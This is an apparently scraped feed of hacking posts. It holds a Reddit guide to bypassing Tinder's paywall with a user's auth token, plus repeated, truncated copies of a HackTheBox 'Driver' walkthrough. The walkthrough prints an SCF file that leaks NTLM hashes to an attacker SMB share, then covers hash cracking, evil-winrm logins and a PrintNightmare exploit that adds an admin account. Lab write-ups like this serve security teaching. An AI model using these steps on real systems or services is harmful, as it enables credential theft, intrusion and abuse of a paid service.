Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Install and run arbitrary shell code on the web straight from Apple Store. Wonder why Apple would keep it's computer open for installing code from the web... Steps to repeat this is in comment below.
https://external-preview.redd.it/r_WCTIuQbqUhESToxSfY9Tovn8qPcJe5WjByrMwx_cc.png?width=640&crop=smart&auto=webp&s=abecc93d902c3980a10a506c4466f4193728416a submitted by /u/reportaman
[link] [comments]
Install and run arbitrary shell code on the web straight from Apple Store. Wonder why Apple would keep it's computer open for installing code from the web... Steps to repeat this is in comment below.
https://external-preview.redd.it/r_WCTIuQbqUhESToxSfY9Tovn8qPcJe5WjByrMwx_cc.png?width=640&crop=smart&auto=webp&s=abecc93d902c3980a10a506c4466f4193728416a submitted by /u/reportaman
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Bypassing Tinder's Paywall: Like people back that liked you.
TL;DR
You can automatically match with profiles that liked you on Tinder for free (tho not 100% of 'em). At the end of this post I attached a proof-of-concept python script you can use to try this out "Automated Script").
The Obstacle
Tinder includes the
1. The urls of blurred photos of the people that liked you use secondary, "shadow"
2. the urls of the unblurred photos don't use the original
Hence by that approach it's not possible to see and like people that liked you on Tinder.
How to bypass it
Tinder shows you to kind of blurred image(s), they refer to them as teaser(s). The grid of blurred photos are the teasers "page". Those are the images I mentioned at The Obstacle. The single blurred image on top of your messages is a single teaser, it also shows a name. Funnily enough the name isn't the only thing setting this teaser profile apart from the rest. Besides the recenlty_active flag it also uses the original
So you send a like request (which is a POST request to this urL: https://api.gotinder.com/like/user id?locale=en replace with actual
Limitations
Unfortunately the limitations are quite strong. I cannot test them further though, as my teaser profile doesn't change anymore:
1. this method stopped working after 12 matches as the server delivers outdated information (profile I've already matched with),
2. sometimes the server refreshes the teaser not in time, making the script fail,
3. I believe sometimes the
4. it's not possible to choose who to match with. It's 100% sequential.
Automated Script
I again wrote a proof-of-concept python3 script that you can use to test this method. The error handling is a bit rough of course, I'll only wanted to demonstrate that it works and will leave it to somebody else to craft something more refined.
1. find your X-AUTH-TOKEN, here's how: https://i.imgur.com/KTT78LK.png,
2. download the script: https://pastebin.com/4xw7CehJ
3. type this into your terminal/CMD/powershell:
4. if the script fails/crashes try it again after 1min. If it still fails there is nothing I can do :(
If you keep Tinder open you'll see plenty matches plopping up. Quite entertaining!
Disclaimer
Keep in mind that this might not be to the liking of Tinder so they might block your account. Also I only tested it on a GNU/Linux computer.
submitted by /u/nachfarbensortiert
[link] [comments]
Bypassing Tinder's Paywall: Like people back that liked you.
TL;DR
You can automatically match with profiles that liked you on Tinder for free (tho not 100% of 'em). At the end of this post I attached a proof-of-concept python script you can use to try this out "Automated Script").
The Obstacle
Tinder includes the
user idof a user in the url of all their photos. The user idis the only thing you need to send a like for that user to the server. Now there are two issues:1. The urls of blurred photos of the people that liked you use secondary, "shadow"
user id. Maybe it's hashed, stretched, whatever. I wasn't (yet) able to dereference them. Although I recently wrote about how to unblurr those photos (also for free) in this previous post. But:2. the urls of the unblurred photos don't use the original
user ideither.Hence by that approach it's not possible to see and like people that liked you on Tinder.
How to bypass it
Tinder shows you to kind of blurred image(s), they refer to them as teaser(s). The grid of blurred photos are the teasers "page". Those are the images I mentioned at The Obstacle. The single blurred image on top of your messages is a single teaser, it also shows a name. Funnily enough the name isn't the only thing setting this teaser profile apart from the rest. Besides the recenlty_active flag it also uses the original
user idto fetch the image when you unblurr it (see my earlier mentioned previous post).So you send a like request (which is a POST request to this urL: https://api.gotinder.com/like/user id?locale=en replace with actual
user id) to the current teaser profile to create a match. Now you'll get a new teaser profile you can repeat that process on.
Limitations
Unfortunately the limitations are quite strong. I cannot test them further though, as my teaser profile doesn't change anymore:
1. this method stopped working after 12 matches as the server delivers outdated information (profile I've already matched with),
2. sometimes the server refreshes the teaser not in time, making the script fail,
3. I believe sometimes the
recently_active.image_urlinstead of teaser_urlhas to be used,4. it's not possible to choose who to match with. It's 100% sequential.
Automated Script
I again wrote a proof-of-concept python3 script that you can use to test this method. The error handling is a bit rough of course, I'll only wanted to demonstrate that it works and will leave it to somebody else to craft something more refined.
1. find your X-AUTH-TOKEN, here's how: https://i.imgur.com/KTT78LK.png,
2. download the script: https://pastebin.com/4xw7CehJ
3. type this into your terminal/CMD/powershell:
python ./match-maker.py YOUR-X-AUTH-TOKEN4. if the script fails/crashes try it again after 1min. If it still fails there is nothing I can do :(
If you keep Tinder open you'll see plenty matches plopping up. Quite entertaining!
Disclaimer
Keep in mind that this might not be to the liking of Tinder so they might block your account. Also I only tested it on a GNU/Linux computer.
submitted by /u/nachfarbensortiert
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to the importance of attention to detail while pentesting.<o:p Table of content<o:pInitial Access<o:p· Enumeration using Nmap and other tools<o:p
· Compromising low-priv hash using SCF file<o:p
· Evil-WinRM to access low-priv account<o:p
· User Flag<o:p Privilege Escalation<o:p· Abusing printer driver vulnerability<o:p
· Root flag<o:p
Let’s deep dive into this.<o:p Initial Access<o:pThe IP address assigned to the machine is 10.129.32.68. Upon running Nmap scan on this, we get the following result<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have default password set, we try admin/admin and it worked!<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the update-portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.<o:p
We simply created an SMB server and used a UNC path to access it in order to catch current running user’s hash.<o:p cat shell.scf<o:p[Shell]<o:pCommand=2<o:pIconFile=\\10.10.14.93\tools\ignite.ico<o:p[Taskbar]<o:pCommand=ToggleDesktophttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png Further, we just upload this to the Firmware Updates section.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png Before hitting submit, we launch our smbserver using impacket tool suite. And then upon hitting submit, we see Windows server ran the file and we captured a low-priv user tony’s hash.<o:p smbserver.py tools $(pwd) -smb2support<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwsp[...]
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to the importance of attention to detail while pentesting.<o:p Table of content<o:pInitial Access<o:p· Enumeration using Nmap and other tools<o:p
· Compromising low-priv hash using SCF file<o:p
· Evil-WinRM to access low-priv account<o:p
· User Flag<o:p Privilege Escalation<o:p· Abusing printer driver vulnerability<o:p
· Root flag<o:p
Let’s deep dive into this.<o:p Initial Access<o:pThe IP address assigned to the machine is 10.129.32.68. Upon running Nmap scan on this, we get the following result<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have default password set, we try admin/admin and it worked!<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the update-portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.<o:p
We simply created an SMB server and used a UNC path to access it in order to catch current running user’s hash.<o:p cat shell.scf<o:p[Shell]<o:pCommand=2<o:pIconFile=\\10.10.14.93\tools\ignite.ico<o:p[Taskbar]<o:pCommand=ToggleDesktophttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png Further, we just upload this to the Firmware Updates section.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png Before hitting submit, we launch our smbserver using impacket tool suite. And then upon hitting submit, we see Windows server ran the file and we captured a low-priv user tony’s hash.<o:p smbserver.py tools $(pwd) -smb2support<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwsp[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Driver HackTheBox Walkthrough IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally…
iXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png We save this hash into a file and then run john the ripper using rockyou dictionary file. We see a cracked credential “liltony”<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.<o:p gem install evil-winrm<o:pevil-winrm -i 10.129.32.68 -u tony -p liltony<o:pcd ..\Desktop<o:pcat user.txt<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png Privilege Escalation<o:pTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.<o:p wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png We can use the upload feature in evil-winrm to put this file on our box and then run it.<o:p upload /root/winpeasx64.exe<o:p.\winpeasx64.exe<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png Reading more about the driver, we found that it is vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.<o:p wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png Further, this exploit works by creating a new DLL, adding an admin account onto the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.<o:p Set-ExecutionPolicy RemoteSigned -Scope CurrentUser<o:pImport-Module .\CVE-2021-34527.ps1<o:pInvoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000[...]
Hacking Articles Tips Tricks Videos Tutorials
iXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png We save this hash into a file and then run john the ripper using rockyou dictionary file. We see a cracked credential “liltony”<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKP…
/13.png We can confirm the exploit’s working by checking the new user’s existence in the server by using net user command.<o:p net user<o:pnet user aarti<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png Finally, we can user evil-winrm again to connect to the machine and snag our root flag.<o:p evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987<o:pcd c:\users\administrator\desktop<o:pcat root.txt<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png ConclusionDriver box on HackTheBox platform is a good beginner friendly Windows box that teaches basics of exploitation using a server-side file execution vulnerability and then privilege escalation using a very famous printer driver vulnerability. Thanks for reading.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to attention to detail while pentesting. Table of ContentInitial Access
* Enumeration using Nmap and other tools
* Compromising low-priv hash using SCF file
* Evil-WinRM to access low-priv account
* User Flag
Privilege Escalation
* Abusing printer driver vulnerability
* Root flag
Let’s deep dive into this. Initial AccessThe IP address assigned to the machine is 10.129.32.68. Upon running an Nmap scan on this, we get the following result
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png?w=640&ssl=1
We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png?w=640&ssl=1
But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have a default password set, we try admin/admin and it worked!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png?w=640&ssl=1
Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the updated portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.
We simply created an SMB server and used a UNC path to access it in order to catch the current running user’s hash.
cat shell.scf
[Shell]
Command=2
IconFile=\\10.10.14.93\tools\ignite.ico
[Taskbar]
Command=ToggleDesktop
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png?w=640&ssl=1
Further, we just upload this to the Firmware Updates section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png?w=640&ssl=1
Before hitting submit, we launch our smbserver using the impacket tool suite. And then upon hitting submit, we see the Windows server ran the file and we captured a low-priv user tony’s hash.
smbserver.py tools $(pwd) -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwspiXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png?w=640&ssl=1
We save this hash into a file and then run john t[...]
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to attention to detail while pentesting. Table of ContentInitial Access
* Enumeration using Nmap and other tools
* Compromising low-priv hash using SCF file
* Evil-WinRM to access low-priv account
* User Flag
Privilege Escalation
* Abusing printer driver vulnerability
* Root flag
Let’s deep dive into this. Initial AccessThe IP address assigned to the machine is 10.129.32.68. Upon running an Nmap scan on this, we get the following result
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png?w=640&ssl=1
We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png?w=640&ssl=1
But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have a default password set, we try admin/admin and it worked!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png?w=640&ssl=1
Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the updated portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.
We simply created an SMB server and used a UNC path to access it in order to catch the current running user’s hash.
cat shell.scf
[Shell]
Command=2
IconFile=\\10.10.14.93\tools\ignite.ico
[Taskbar]
Command=ToggleDesktop
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png?w=640&ssl=1
Further, we just upload this to the Firmware Updates section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png?w=640&ssl=1
Before hitting submit, we launch our smbserver using the impacket tool suite. And then upon hitting submit, we see the Windows server ran the file and we captured a low-priv user tony’s hash.
smbserver.py tools $(pwd) -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwspiXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png?w=640&ssl=1
We save this hash into a file and then run john t[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Driver HackTheBox Walkthrough IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare…
he ripper using the rockyou dictionary file. We see a cracked credential “liltony”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1
Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.
gem install evil-winrm
evil-winrm -i 10.129.32.68 -u tony -p liltony
cd ..\Desktop
cat user.txt
